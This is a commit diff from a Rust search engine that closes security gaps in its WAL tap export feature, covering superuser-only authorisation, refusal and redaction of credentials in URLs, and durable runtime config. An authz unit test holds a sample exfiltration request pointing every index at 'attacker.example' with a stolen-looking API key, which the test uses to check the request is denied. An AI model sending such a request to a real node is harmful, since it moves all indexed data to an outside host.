Skip to content

armgit / xerj

Public Imported from GitHub
0

AI search engine and MCP server for bots and agents. One Rust binary indexes code, docs, logs, JSONL/CSV and PDFs for BM25 full-text, vector and hybrid search, code search without grep, agent memory and RAG. Elasticsearch-compatible API; Corpus Hub serves hundreds of reference memory corpora.

fix(wal-tap): close ten review blockers on the #320 push path

xerj-org3235e4308313
diff --git a/CHANGELOG.md b/CHANGELOG.md
index b0a748fcd..f492f8283 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -16,21 +16,68 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
whole-index — was the only export path. A XERJ node used as a lightweight edge
collector had no way to stream a curated slice of its data up to a central
cluster.
- - New `[wal_tap]` config section (9 settings, off by default) and a runtime
- REST surface: `GET`/`PUT /_xerj/wal_tap` and `GET /_xerj/wal_tap/_stats`.
- The allowlist is glob-based and adjustable without a restart.
+ - New `[wal_tap]` config section (10 settings, off by default) and a runtime
+ REST surface: `GET`/`PUT`/`DELETE /_xerj/wal_tap` and
+ `GET /_xerj/wal_tap/_stats`. The allowlist is glob-based and adjustable
+ without a restart. That brings the documented config surface to
+ **115 settings** (counted by `journey_zero_config`, not by hand).
+ - **Every `/_xerj/*` route is superuser-only.** `PUT /_xerj/wal_tap` is a
+ whole-node export primitive — `target_url` names any host, `indices: ["*"]`
+ names every index, and the tap attaches an operator-supplied
+ `Authorization` header — so it is data exfiltration and authenticated SSRF
+ in one call. Same reasoning `authz.rs` already applies to snapshot and
+ restore: nothing here is index-scoped, so there is no per-index decision to
+ make. The reads are covered too — `GET /_xerj/wal_tap` echoes `target_url`
+ and `_stats` enumerates the node's whole index inventory.
+ - **`target_url` may not carry credentials.** `https://user:pass@host` is an
+ ordinary URL that `reqwest` turns into a `Basic Authorization` header — i.e.
+ `target_auth` by another spelling, in the one field the API echoes back and
+ the boot log prints. It is refused at startup and by `PUT`, and redacted
+ everywhere it is rendered.
- The wire format is `_bulk` and nothing else, so the target can be
Elasticsearch, OpenSearch, or another XERJ node with nothing installed.
- **This is not CCR.** It is one-directional, single-node, and independent of
the post-GA sharding/replication track. `_ccr/*` still answers `501`.
- The tap adds nothing to the write path: it tails WAL files from disk on a
- timer and takes no lock the writer wants.
+ timer and takes no lock the writer wants. A poll costs the bytes appended
+ since the last one, not the size of the file — the tail reader is a sliding
+ window over a `File`, shaped after Lucene's `BufferedIndexInput.refill`
+ (`lucene/core/src/java/org/apache/lucene/store/BufferedIndexInput.java:289-317`,
+ Apache-2.0). A caught-up poll reads the 16-byte WAL header and stops.
- Delivery is at-least-once, with `version_type: external` carrying the WAL
`seq_no` on every action so a redelivery converges on the same document the
- source holds.
+ source holds. Note that XERJ's own `_bulk` ignores per-action `version` /
+ `version_type` (only the single-doc path honours them), so a XERJ target
+ degrades to last-write-wins by arrival; against Elasticsearch or OpenSearch
+ the mechanism is live.
+ - `_stats` counts what the **target accepted**, per item, not what was
+ rendered into the request. `lag_seq` is derived from the highest accepted
+ `seq_no`, and each index carries a `healthy` boolean that is false both when
+ sends are failing and when the target answers `200` while rejecting every
+ action inside it as a version conflict.
+ - Cursor state is flushed once per poll cycle rather than once per index per
+ poll; a deferred flush can only cause a redelivery, which the external
+ versioning above absorbs.
+ - Deleting an index drops its cursor at the moment of deletion, so a
+ `DELETE` + `PUT` of the same name inside one poll interval — never observed
+ as an absence at a 500 ms default — cannot leave a byte offset pointing into
+ a WAL stream that no longer exists. For a delete that happened while the
+ node was down, the reader treats a cursor offset past the end of its
+ generation as the discontinuity it is (WAL files are append-only) and
+ restarts the stream with a reported gap instead of clamping to EOF.
- WAL retention is deliberately *not* coupled to the tap — a slow remote must
not be able to fill the local disk. A tap that falls far enough behind loses
- entries and says so: `gaps` in `_stats`, plus a warning per occurrence.
+ entries and says so: `gaps` in `_stats`, plus a warning per occurrence. New
+ `wal_tap.min_retained_generations` (default `0`, unchanged behaviour) buys
+ **bounded** slack: it is a floor, not an Elasticsearch-style retention
+ lease, so it holds at most `n × storage.wal_max_size_mb` per WAL shard
+ however far behind any consumer is.
+ - A configuration set through `PUT /_xerj/wal_tap` is persisted next to the
+ cursors and re-applied over the config file on the next boot, so "runtime
+ config, no restart" does not quietly mean "and gone after one".
+ `DELETE /_xerj/wal_tap` drops the overlay and reverts to the file. The state
+ file holds `target_auth`, so it is written `0600` through the same writer
+ the API-key store uses.
- XERJ's own `.xerj*` system indices are never shipped, whatever the allowlist
says, and a wildcard never expands to a hidden index.
- There is no backfill. A new index is shipped whole; an established one ships
diff --git a/engine/README.md b/engine/README.md
index 7404ee2ff..92c1d509e 100644
--- a/engine/README.md
+++ b/engine/README.md
@@ -53,7 +53,7 @@ HTTP wire payloads, single-node, tmpfs data dir, both freshly started
| Per-batch (5K) bulk p99 | **34.8 ms** | 80.3 ms | ES 2.3× |
| Data loss on restart | 0% | 0% | tied |
| GC pauses | 20–40 ms (JVM) | **0** (no GC) | **xerj** |
-| Config surface | 3,000+ knobs | **114**, all optional | **xerj** |
+| Config surface | 3,000+ knobs | **115**, all optional | **xerj** |
xerj wins on every operational and read-path metric. ES still wins
bulk-ingest throughput on warm Lucene `IndexWriter` (perf-backlog item
@@ -86,7 +86,7 @@ The resulting binary is at `target/release/xerj`.
## Configuration
See [`xerj.default.toml`](xerj.default.toml) for the commonly-tuned settings, and
-[`crates/xerj-common/src/config.rs`](crates/xerj-common/src/config.rs) for all 114
+[`crates/xerj-common/src/config.rs`](crates/xerj-common/src/config.rs) for all 115
— every one of them optional.
The minimal config to get started:
diff --git a/engine/crates/xerj-api/src/authz.rs b/engine/crates/xerj-api/src/authz.rs
index 65bb70048..d12e1cb41 100644
--- a/engine/crates/xerj-api/src/authz.rs
+++ b/engine/crates/xerj-api/src/authz.rs
@@ -1328,6 +1328,27 @@ fn decide(
authorize_body(principal, aliases, shape, body, default)
}
Target::Cluster => {
+ // `/_xerj/*` is the node's own operator namespace, and its first
+ // inhabitant (`_xerj/wal_tap`, issue #320) is a whole-node export
+ // primitive: one `PUT` with `target_url` pointing anywhere and
+ // `indices: ["*"]` streams every index on this node to an
+ // attacker-chosen host, with an operator-supplied `Authorization`
+ // header attached — a data exfiltration channel and an
+ // authenticated SSRF in the same request.
+ //
+ // Nothing here is index-scoped, so there is no per-index decision
+ // to make and the reasoning is the snapshot/restore one below:
+ // superuser-only. That covers the reads too. `GET /_xerj/wal_tap`
+ // echoes `target_url` and `GET /_xerj/wal_tap/_stats` enumerates
+ // the node's full index inventory, and both are `cluster_is_read`,
+ // so without this arm a key scoped to one index could read them.
+ if segs.first().map(String::as_str) == Some("_xerj") {
+ return Err(forbidden(
+ principal,
+ "<node>",
+ required_privilege(method, segs, 1),
+ ));
+ }
// Snapshot and restore that name no indices cover *every* index on
// the node, brains included. There is no per-index decision to
// make, so they are superuser-only.
@@ -2270,6 +2291,69 @@ mod tests {
));
}
+ /// `PUT /_xerj/wal_tap` (issue #320) is a whole-node export primitive:
+ /// `target_url` names any host on the network, `indices: ["*"]` names
+ /// every index on this node, and the tap attaches an operator-supplied
+ /// `Authorization` header to the requests it makes — exfiltration and
+ /// authenticated SSRF in one call.
+ ///
+ /// It reached `Target::Cluster` through the `_`-prefix arm, `body_shape`
+ /// returned `BodyShape::None` so `body_targets` produced no demands, and a
+ /// mutating cluster verb naming nothing falls through to
+ /// `Principal::Unscoped => Ok(())`. Every unscoped key on the node could
+ /// therefore stream the whole node off it. Same reasoning as
+ /// `unbounded_snapshot_is_superuser_only` above, same answer.
+ ///
+ /// The reads matter too and are covered by the same arm: `GET
+ /// /_xerj/wal_tap` echoes `target_url`, and `GET /_xerj/wal_tap/_stats`
+ /// enumerates the node's whole index inventory with no principal filter
+ /// (`_xerj` has no `prune_sites` entry, and adding one would not help — a
+ /// scoped key has no business knowing the tap's target either). Both are
+ /// `cluster_is_read`, so before this arm a key scoped to a single index
+ /// could read them.
+ #[test]
+ fn the_wal_tap_export_primitive_is_superuser_only() {
+ let legacy = unscoped();
+ let one_index = scoped(&["logs-2026"], &[Privilege::ReadIndex]);
+
+ // The write: an unscoped key must not be able to point this node's
+ // whole WAL at a host it chose.
+ let exfiltrate = r#"{"enabled":true,"target_url":"http://attacker.example",
+ "indices":["*"],"target_auth":"ApiKey stolen"}"#;
+ assert!(!check(&legacy, Method::PUT, "/_xerj/wal_tap", exfiltrate));
+ assert!(!check(
+ &one_index,
+ Method::PUT,
+ "/_xerj/wal_tap",
+ exfiltrate
+ ));
+ assert!(!check(&legacy, Method::DELETE, "/_xerj/wal_tap", ""));
+
+ // The reads: the target URL and the node's index inventory.
+ assert!(!check(&legacy, Method::GET, "/_xerj/wal_tap", ""));
+ assert!(!check(&one_index, Method::GET, "/_xerj/wal_tap", ""));
+ assert!(!check(&legacy, Method::GET, "/_xerj/wal_tap/_stats", ""));
+ assert!(!check(&one_index, Method::GET, "/_xerj/wal_tap/_stats", ""));
+
+ // The namespace, not just the route: a second `_xerj` endpoint must
+ // inherit this rather than have to remember it.
+ assert!(!check(&legacy, Method::GET, "/_xerj/anything", ""));
+ assert!(!check(&legacy, Method::POST, "/_xerj/anything/_do", ""));
+
+ // And the operator can still drive it.
+ for (method, path) in [
+ (Method::GET, "/_xerj/wal_tap"),
+ (Method::PUT, "/_xerj/wal_tap"),
+ (Method::DELETE, "/_xerj/wal_tap"),
+ (Method::GET, "/_xerj/wal_tap/_stats"),
+ ] {
+ assert!(
+ check(&Principal::Superuser, method.clone(), path, "{}"),
+ "the superuser must keep {method} {path}"
+ );
+ }
+ }
+
/// The pattern short-circuit in [`authorize_expression`] is safe because
/// the engine expands a wildcard over the principal's visible set. Snapshot
/// and restore are the two verbs that never reach that funnel:
diff --git a/engine/crates/xerj-api/src/router.rs b/engine/crates/xerj-api/src/router.rs
index 94d979b73..68124dfb4 100644
--- a/engine/crates/xerj-api/src/router.rs
+++ b/engine/crates/xerj-api/src/router.rs
@@ -843,7 +843,9 @@ pub fn build_es_compat_router(state: AppState) -> Router {
// would make those honest 501s a lie.
.route(
"/_xerj/wal_tap",
- get(wal_tap_api::get_wal_tap).put(wal_tap_api::put_wal_tap),
+ get(wal_tap_api::get_wal_tap)
+ .put(wal_tap_api::put_wal_tap)
+ .delete(wal_tap_api::delete_wal_tap),
)
.route("/_xerj/wal_tap/_stats", get(wal_tap_api::wal_tap_stats))
// ── Legacy index templates (v1) ────────────────────────────────────────────
diff --git a/engine/crates/xerj-api/src/wal_tap_api.rs b/engine/crates/xerj-api/src/wal_tap_api.rs
index 4556aa862..bcf61698e 100644
--- a/engine/crates/xerj-api/src/wal_tap_api.rs
+++ b/engine/crates/xerj-api/src/wal_tap_api.rs
@@ -1,9 +1,10 @@
//! REST surface for the single-node WAL tap (issue #320).
//!
//! ```text
-//! GET /_xerj/wal_tap current configuration (never the credential)
-//! PUT /_xerj/wal_tap merge-patch it, no restart
-//! GET /_xerj/wal_tap/_stats per-index cursors, lag, counters, last error
+//! GET /_xerj/wal_tap current configuration (never the credential)
+//! PUT /_xerj/wal_tap merge-patch it, durably, no restart
+//! DELETE /_xerj/wal_tap drop the runtime overlay, revert to the file
+//! GET /_xerj/wal_tap/_stats per-index cursors, lag, counters, last error
//! ```
//!
//! This is a native (`_xerj`-namespaced) surface, not an Elasticsearch one:
@@ -11,8 +12,18 @@
//! `_ccr/*` did would be exactly the silent-stub behaviour those handlers were
//! made to `501` to avoid.
//!
-//! Everything here is cluster-scoped, so it authorises like any other
-//! `/_*` route (`authz::classify` → `Target::Cluster`).
+//! ## Why every route here is superuser-only
+//!
+//! `PUT /_xerj/wal_tap` is a whole-node export primitive: `target_url` plus
+//! `indices: ["*"]` streams every index on this node to a host of the
+//! caller's choosing, with an operator-supplied `Authorization` header
+//! attached — exfiltration and authenticated SSRF in one request. Nothing
+//! here is index-scoped, so there is no per-index decision to make, and that
+//! is the same reasoning `authz.rs` already applies to snapshot and restore.
+//! The reads are covered for the same reason: `GET /_xerj/wal_tap` echoes
+//! `target_url` and `_stats` enumerates the node's whole index inventory.
+//! Enforced in [`crate::authz`] on the `_xerj` first segment, not here, so a
+//! second `_xerj` route cannot be added without inheriting it.
use axum::{
extract::State,
@@ -33,10 +44,19 @@ use crate::{extract::OptionalJson, state::AppState};
/// cluster, and an endpoint that reads it back turns "can call the admin API"
/// into "holds the target's credential". `target_auth_configured` is the
/// operator-visible part.
+///
+/// `target_url` is **redacted**, and that is not belt and braces — it closes
+/// the hole the omission above left wide open. `https://user:pass@host:9200`
+/// is an ordinary URL, and `reqwest` turns its userinfo into a `Basic`
+/// `Authorization` header, so an operator who put the credential there was
+/// configuring `target_auth` by another spelling — and this endpoint would
+/// have handed it straight back. [`WalTapConfig::check_target_url`] refuses
+/// userinfo on the way in; this makes sure a URL that arrived some other way
+/// (an older state file, a hand-edited config) still cannot be read back out.
fn config_body(config: &WalTapConfig) -> Value {
json!({
"enabled": config.enabled,
- "target_url": config.target_url,
+ "target_url": config.redacted_target_url(),
"target_auth_configured": !config.target_auth.is_empty(),
"indices": config.indices,
"poll_interval_ms": config.poll_interval_ms,
@@ -44,12 +64,27 @@ fn config_body(config: &WalTapConfig) -> Value {
"max_batch_bytes": config.max_batch_bytes,
"request_timeout_secs": config.request_timeout_secs,
"max_retry_backoff_secs": config.max_retry_backoff_secs,
+ "min_retained_generations": config.min_retained_generations,
})
}
/// `GET /_xerj/wal_tap`
pub async fn get_wal_tap(State(state): State<AppState>) -> Response {
- Json(config_body(&state.engine.wal_tap.config())).into_response()
+ let mut body = config_body(&state.engine.wal_tap.config());
+ if let Some(obj) = body.as_object_mut() {
+ // Which of the two sources this configuration came from is the
+ // question an operator asks after a restart, and the one the tap used
+ // to answer wrongly by silently reverting to the file.
+ obj.insert(
+ "source".into(),
+ json!(if state.engine.wal_tap.has_runtime_config() {
+ "runtime"
+ } else {
+ "config_file"
+ }),
+ );
+ }
+ Json(body).into_response()
}
/// The mutable half. Every field optional — an absent field keeps its current
@@ -67,6 +102,7 @@ pub struct WalTapPatch {
pub max_batch_bytes: Option<usize>,
pub request_timeout_secs: Option<u64>,
pub max_retry_backoff_secs: Option<u64>,
+ pub min_retained_generations: Option<u64>,
}
fn bad_request(reason: &str) -> Response {
@@ -98,13 +134,12 @@ pub async fn put_wal_tap(
}
if let Some(v) = patch.target_url {
let trimmed = v.trim().to_string();
- if !trimmed.is_empty()
- && !(trimmed.starts_with("http://") || trimmed.starts_with("https://"))
- {
- return bad_request(
- "wal_tap.target_url must be an absolute http:// or https:// URL, e.g. \
- \"https://central:9200\"",
- );
+ // Shape AND credential check. `https://user:pass@host` passed the old
+ // scheme-only test, and `reqwest` would have turned that userinfo into
+ // a `Basic Authorization` header — a credential smuggled into the one
+ // field this API echoes back (and logs at boot).
+ if let Err(reason) = WalTapConfig::check_target_url(&trimmed) {
+ return bad_request(&reason);
}
config.target_url = trimmed;
}
@@ -154,14 +189,64 @@ pub async fn put_wal_tap(
}
config.max_retry_backoff_secs = v;
}
+ if let Some(v) = patch.min_retained_generations {
+ // Bounded on purpose: this knob costs `v * storage.wal_max_size_mb`
+ // per WAL shard per index whether or not a tap is running, so an
+ // operator typing an extra digit must not be able to fill the disk
+ // quietly.
+ if v > 64 {
+ return bad_request(
+ "wal_tap.min_retained_generations must be at most 64: it holds that many \
+ rotated WAL files per shard per index, costing up to \
+ n * storage.wal_max_size_mb of disk each",
+ );
+ }
+ config.min_retained_generations = v;
+ }
if config.enabled && config.target_url.is_empty() {
return bad_request("wal_tap.enabled requires a target_url");
}
let body = config_body(&config);
+ // `min_retained_generations` reaches `WalWriter` through
+ // `IndexStoreConfig` when a store is opened, so a runtime change to it
+ // applies to indices opened after this point (and to every index after a
+ // restart, which this patch now survives). Said plainly in the response
+ // rather than left for an operator to discover.
+ let retention_takes_effect_on_restart =
+ patch.min_retained_generations.is_some() && !state.engine.index_name_list().is_empty();
state.engine.wal_tap.set_config(config);
- Json(json!({"acknowledged": true, "wal_tap": body})).into_response()
+ let mut resp = json!({"acknowledged": true, "wal_tap": body, "persisted": true});
+ if retention_takes_effect_on_restart {
+ resp["warning"] = json!(
+ "min_retained_generations is read when an index store is opened: already-open \
+ indices keep the previous retention floor until this node restarts"
+ );
+ }
+ Json(resp).into_response()
+}
+
+/// `DELETE /_xerj/wal_tap`
+///
+/// Drop the persisted runtime configuration and revert to the config file.
+///
+/// The counterpart to `PUT` now that a `PUT` is durable: without this, one
+/// API call would permanently shadow `xerj.toml` with no way back short of
+/// deleting a file in the data directory. Modelled on `_cluster/settings`,
+/// where writing `null` clears a persistent setting.
+pub async fn delete_wal_tap(State(state): State<AppState>) -> Response {
+ // The engine's boot `Config` is the file's value: the tap took a clone of
+ // it at construction and only then layered the persisted runtime config
+ // on top, so this is genuinely "what xerj.toml says".
+ let file_config = state.engine.config().wal_tap.clone();
+ state.engine.wal_tap.clear_runtime_config(file_config);
+ Json(json!({
+ "acknowledged": true,
+ "wal_tap": config_body(&state.engine.wal_tap.config()),
+ "source": "config_file",
+ }))
+ .into_response()
}
/// `GET /_xerj/wal_tap/_stats`
@@ -169,7 +254,14 @@ pub async fn put_wal_tap(
/// The honesty surface. `gaps > 0` means entries were pruned out of the WAL
/// before the tap could ship them and are gone; `lag_seq` is how far behind
/// the index's own sequence counter the tap is; `last_error` is why it stopped
-/// advancing.
+/// advancing; `healthy` is false when either of the two states that used to
+/// be indistinguishable from working is in effect — sends failing, or a
+/// target answering 200 while rejecting every action inside it.
+///
+/// Superuser-only ([`crate::authz`]): this enumerates every index on the node
+/// that the allowlist matches, and it echoes `target_url`. It applies no
+/// principal filter of its own precisely because it is never reached by a
+/// principal that would need one.
pub async fn wal_tap_stats(State(state): State<AppState>) -> Response {
let tap = &state.engine.wal_tap;
let config = tap.config();
@@ -177,6 +269,7 @@ pub async fn wal_tap_stats(State(state): State<AppState>) -> Response {
let cursors = tap.cursors();
let mut indices = serde_json::Map::new();
+ let mut all_healthy = true;
for name in state.engine.index_name_list() {
if !WalTap::ships(&config, &name) {
continue;
@@ -195,19 +288,28 @@ pub async fn wal_tap_stats(State(state): State<AppState>) -> Response {
"lag_seq".into(),
json!(head.saturating_sub(stat.last_shipped_seq)),
);
+ // One boolean an operator can alert on, so "is replication
+ // working?" does not require correlating five counters.
+ obj.insert("healthy".into(), json!(stat.healthy()));
obj.insert(
"cursors".into(),
serde_json::to_value(cursors.get(&name).cloned().unwrap_or_default())
.unwrap_or_else(|_| json!({})),
);
}
+ if !stat.healthy() {
+ all_healthy = false;
+ }
indices.insert(name, body);
}
Json(json!({
"enabled": config.enabled,
- "target_url": config.target_url,
+ // Redacted for the same reason as in `config_body`: `_stats` is a
+ // second read path onto the same string.
+ "target_url": config.redacted_target_url(),
"ticks": tap.ticks(),
+ "healthy": all_healthy,
"indices": indices,
}))
.into_response()
diff --git a/engine/crates/xerj-common/src/config.rs b/engine/crates/xerj-common/src/config.rs
index b32dbec21..653e27a0e 100644
--- a/engine/crates/xerj-common/src/config.rs
+++ b/engine/crates/xerj-common/src/config.rs
@@ -1,6 +1,6 @@
//! xerj configuration system.
//!
-//! Configuration is intentionally minimal: **114 settings** versus
+//! Configuration is intentionally minimal: **115 settings** versus
//! Elasticsearch's 3000+. Every option is named, documented, and has a sensible
//! production-ready default. The format is TOML, loaded from a single file.
//!
@@ -93,11 +93,11 @@ pub struct Config {
/// ISM/ILM index-lifecycle-management background execution — 1 setting.
pub lifecycle: LifecycleConfig,
/// Single-node WAL tap: push a filtered index subset to an external
- /// ES-compatible target — 9 settings. Off by default.
+ /// ES-compatible target — 10 settings. Off by default.
pub wal_tap: WalTapConfig,
}
-// 21 sub-configs, 114 leaf settings in total. Do not maintain that sum by hand
+// 21 sub-configs, 115 leaf settings in total. Do not maintain that sum by hand
// — `journey_zero_config` in xerj-engine/tests/product_experience.rs counts a
// serialised `Config::default()` and fails if this comment and the module
// header stop matching. `Default` is derived: every field is a sub-config that
@@ -185,6 +185,13 @@ impl Config {
return Err(XerjError::config("merge.min_segments must be >= 2"));
}
+ // WAL tap: the target URL is a credential boundary, not just a URL.
+ // Refusing it at boot is the only way a `user:pass@host` in the config
+ // file never reaches the log line or the two endpoints that echo it.
+ if let Err(reason) = WalTapConfig::check_target_url(&self.wal_tap.target_url) {
+ return Err(XerjError::config(reason));
+ }
+
// Compression: block_size_docs is documented as 16–4096 and was
// accepted at any value (#318 got `999999` past startup in silence).
// Range-check it even though the knob is dormant: an out-of-range
@@ -411,7 +418,7 @@ impl Config {
}
// ═════════════════════════════════════════════════════════════════════════════
-// Sub-configs (114 user-facing settings total; counted by
+// Sub-configs (115 user-facing settings total; counted by
// `journey_zero_config`, not by hand)
// ═════════════════════════════════════════════════════════════════════════════
@@ -1741,7 +1748,7 @@ impl Default for LifecycleConfig {
// ─────────────────────────────────────────────────────────────────────────────
/// Single-node WAL tap — push a filtered subset of indices to an external
-/// ES-compatible target (issue #320). **9 settings.**
+/// ES-compatible target (issue #320). **10 settings.**
///
/// This is deliberately *not* cross-cluster replication. It is one
/// directional, single node, and target-agnostic because the wire format is
@@ -1765,7 +1772,14 @@ impl Default for LifecycleConfig {
/// has shipped them — coupling the two would let a slow remote fill the
/// local disk. A tap that falls that far behind loses entries and *says
/// so*: `gaps` in `GET /_xerj/wal_tap/_stats`, plus a warning per gap.
+/// `min_retained_generations` buys a **bounded** amount of slack; it is a
+/// floor, not a lease, so a stalled target still cannot fill the disk.
/// - **System indices are never shipped**, whatever the allowlist says.
+/// - **Runtime edits are durable.** `PUT /_xerj/wal_tap` persists the patched
+/// configuration next to the cursors and re-applies it over the file
+/// config on the next boot (`DELETE /_xerj/wal_tap` drops the overlay and
+/// reverts to this file). Otherwise a restart would silently revert to
+/// `enabled = false` while the cursors froze and WAL pruning continued.
#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(default, deny_unknown_fields)]
pub struct WalTapConfig {
@@ -1794,6 +1808,22 @@ pub struct WalTapConfig {
pub request_timeout_secs: u64,
/// Ceiling on the exponential retry backoff, in seconds (default: `60`).
pub max_retry_backoff_secs: u64,
+ /// Rotated WAL generations kept per shard **after** every entry in them
+ /// is durable in a segment, so a tap whose target is briefly unreachable
+ /// still finds them (default: `0` — prune as soon as it is safe, the
+ /// pre-#320 behaviour).
+ ///
+ /// The default loses data on an outage longer than one flush interval
+ /// (`storage.flush_interval_secs`, 30 s): the entries are gone from the
+ /// WAL and the tap reports `gaps`. Set this to cover the outage you want
+ /// to survive — `2` buys roughly two flush windows.
+ ///
+ /// The cost is bounded and paid whether or not a tap is running: at most
+ /// `n * storage.wal_max_size_mb` extra megabytes per WAL shard per index.
+ /// It is deliberately **not** an Elasticsearch-style retention lease,
+ /// which holds generations for as long as a follower is behind and is how
+ /// a dead follower wedges a leader's disk.
+ pub min_retained_generations: u64,
}
impl Default for WalTapConfig {
@@ -1808,10 +1838,79 @@ impl Default for WalTapConfig {
max_batch_bytes: 5 * 1024 * 1024,
request_timeout_secs: 30,
max_retry_backoff_secs: 60,
+ min_retained_generations: 0,
}
}
}
+impl WalTapConfig {
+ /// Reject a `target_url` this node must not accept, returning the operator
+ /// message for a `400`.
+ ///
+ /// Two rules, and the second one is a credential boundary:
+ ///
+ /// 1. It has to be an absolute `http://` / `https://` URL, because the tap
+ /// POSTs `{target_url}/_bulk` and a relative one silently targets
+ /// nothing.
+ /// 2. **No userinfo.** `https://user:pass@host` is an ordinary URL and
+ /// `reqwest` turns its userinfo into a `Basic` `Authorization` header —
+ /// so it is `target_auth` wearing a disguise. `target_auth` is
+ /// write-only precisely so that "can call the admin API" never becomes
+ /// "holds the target's credential", and `target_url` is echoed by
+ /// `GET /_xerj/wal_tap`, by `_stats`, and by the boot log. Accepting
+ /// userinfo would defeat that in one line of config.
+ pub fn check_target_url(url: &str) -> Result<(), String> {
+ let trimmed = url.trim();
+ if trimmed.is_empty() {
+ return Ok(());
+ }
+ let Some(rest) = trimmed
+ .strip_prefix("http://")
+ .or_else(|| trimmed.strip_prefix("https://"))
+ else {
+ return Err(
+ "wal_tap.target_url must be an absolute http:// or https:// URL, e.g. \
+ \"https://central:9200\""
+ .to_string(),
+ );
+ };
+ // Userinfo is everything before the first `@` of the authority, which
+ // ends at the first `/`, `?` or `#`.
+ let authority = rest.split(['/', '?', '#']).next().unwrap_or_default();
+ if authority.contains('@') {
+ return Err("wal_tap.target_url must not carry credentials in the URL \
+ (user:password@host): target_url is echoed by GET /_xerj/wal_tap, by \
+ /_xerj/wal_tap/_stats and in the server log. Put the credential in \
+ wal_tap.target_auth, which is write-only."
+ .to_string());
+ }
+ Ok(())
+ }
+
+ /// `target_url` as it is safe to show: any userinfo replaced by `***`.
+ ///
+ /// [`check_target_url`](Self::check_target_url) refuses userinfo on the way
+ /// in, so this only fires for a URL that reached the process another way —
+ /// an older state file, or a hand-edited config on a node whose operator
+ /// skipped validation. Belt and braces on a credential is cheap.
+ pub fn redacted_target_url(&self) -> String {
+ redact_url_userinfo(&self.target_url)
+ }
+}
+
+/// Replace `scheme://user:pass@host/…` with `scheme://***@host/…`.
+pub fn redact_url_userinfo(url: &str) -> String {
+ let Some((scheme, rest)) = url.split_once("://") else {
+ return url.to_string();
+ };
+ let authority_end = rest.find(['/', '?', '#']).unwrap_or(rest.len());
+ let (authority, tail) = rest.split_at(authority_end);
+ match authority.rsplit_once('@') {
+ Some((_userinfo, host)) => format!("{scheme}://***@{host}{tail}"),
+ None => url.to_string(),
+ }
+}
+
// ─────────────────────────────────────────────────────────────────────────────
/// Scroll + async-search context lifecycle settings (RC4 blocker 11).
@@ -2069,7 +2168,7 @@ mod tests {
drift.join("\n ")
);
- // …and the file's own header quotes how many of the 114 it sets. That
+ // …and the file's own header quotes how many of the 115 it sets. That
// number was 38, then 56, and never once the truth (#207), so count the
// assignments instead of trusting the sentence.
let set_here = toml_src
@@ -2522,7 +2621,7 @@ mod tests {
("logging", 2),
("compat", 2),
("lifecycle", 1),
- ("wal_tap", 9),
+ ("wal_tap", 10),
];
/// Count the settings by *counting them*.
@@ -2565,7 +2664,7 @@ mod tests {
"the section table must sum to the whole config"
);
assert_eq!(
- total, 114,
+ total, 115,
"the total settings count changed. It is quoted in this module's \
header, in xerj-common/src/lib.rs, in engine/README.md, in \
xerj.default.toml and in EXPECTED_SETTINGS in \
diff --git a/engine/crates/xerj-common/src/lib.rs b/engine/crates/xerj-common/src/lib.rs
index 836cc8498..2ca0eb71a 100644
--- a/engine/crates/xerj-common/src/lib.rs
+++ b/engine/crates/xerj-common/src/lib.rs
@@ -7,13 +7,13 @@
//! ## Design philosophy
//!
//! Unlike Elasticsearch's 3000+ configuration knobs, xerj deliberately exposes
-//! **114 settings**, each meaningful and production-tested. Every default
+//! **115 settings**, each meaningful and production-tested. Every default
//! is chosen so that a fresh deployment with zero configuration changes performs
//! well for the majority of workloads.
//!
//! ## Modules
//!
-//! - [`config`] — TOML-based configuration (114 settings)
+//! - [`config`] — TOML-based configuration (115 settings)
//! - [`feedback`] — the bug/UX-report invitation shared by every `--help`
//! - [`error`] — Unified error type ([`XerjError`])
//! - [`types`] — Core domain types (documents, fields, IDs)
diff --git a/engine/crates/xerj-engine/src/engine.rs b/engine/crates/xerj-engine/src/engine.rs
index 33e4511cb..0e92ec6de 100644
--- a/engine/crates/xerj-engine/src/engine.rs
+++ b/engine/crates/xerj-engine/src/engine.rs
@@ -378,7 +378,10 @@ impl ApiKeyRecord {
/// the secret is never briefly world-readable, then renamed over the target
/// (the rename carries the 0600 inode). On non-unix, perms are left to the OS
/// default. Mirrors `index::write_file_atomic` but hardens the mode.
-fn write_secret_file_atomic(path: &std::path::Path, bytes: &[u8]) -> std::io::Result<()> {
+pub(crate) fn write_secret_file_atomic(
+ path: &std::path::Path,
+ bytes: &[u8],
+) -> std::io::Result<()> {
use std::io::Write as _;
// Unique staging name, for the same reason as `index::write_file_atomic`:
// two concurrent key mints sharing one `api_keys.tmp` can interleave into a
@@ -2557,6 +2560,12 @@ impl Engine {
self.index_mappings.remove(name);
self.index_alias_metadata.remove(name);
+ // The WAL tap's cursor is a byte offset into a WAL stream that has
+ // just ceased to exist. Dropping it HERE, rather than waiting for a
+ // poll to notice the index is gone, is what makes delete-and-recreate
+ // inside one poll interval safe — see `wal_tap::WalTap::forget_index`.
+ self.wal_tap.forget_index(name);
+
// Lifecycle bookkeeping: a deleted index needs neither an execution
// cursor nor a detach tombstone (#282) — and clearing the tombstone
// here means a *recreated* index with the same name starts fresh
diff --git a/engine/crates/xerj-engine/src/index.rs b/engine/crates/xerj-engine/src/index.rs
index ff69297bc..85927eaca 100644
--- a/engine/crates/xerj-engine/src/index.rs
+++ b/engine/crates/xerj-engine/src/index.rs
@@ -28174,6 +28174,14 @@ fn store_config_from(config: &Config, wal_shards_override: Option<usize>) -> Ind
schema_version: 1,
storage_mode: xerj_storage::StorageMode::Local,
num_wal_shards: wal_shards_override.unwrap_or(config.engine.ingest_shards),
+ // #320 — the retention floor a WAL consumer needs. Read here, from
+ // the boot config, because it is consumed once when a `WalWriter` is
+ // opened; a runtime `PUT /_xerj/wal_tap` that changes it therefore
+ // applies to stores opened after the change (and to every store after
+ // a restart, which the persisted runtime config now survives). The
+ // `PUT` handler says so in its response rather than leaving it to be
+ // discovered.
+ wal_min_retained_generations: config.wal_tap.min_retained_generations,
}
}
diff --git a/engine/crates/xerj-engine/src/wal_tap.rs b/engine/crates/xerj-engine/src/wal_tap.rs
index 40bbe6743..d2d0d5d7b 100644
--- a/engine/crates/xerj-engine/src/wal_tap.rs
+++ b/engine/crates/xerj-engine/src/wal_tap.rs
@@ -16,6 +16,17 @@
//! does not depend on the post-GA multi-node track. `_ccr/*` still answers
//! `501`, honestly, because none of that exists.
//!
+//! ## Who may call it
+//!
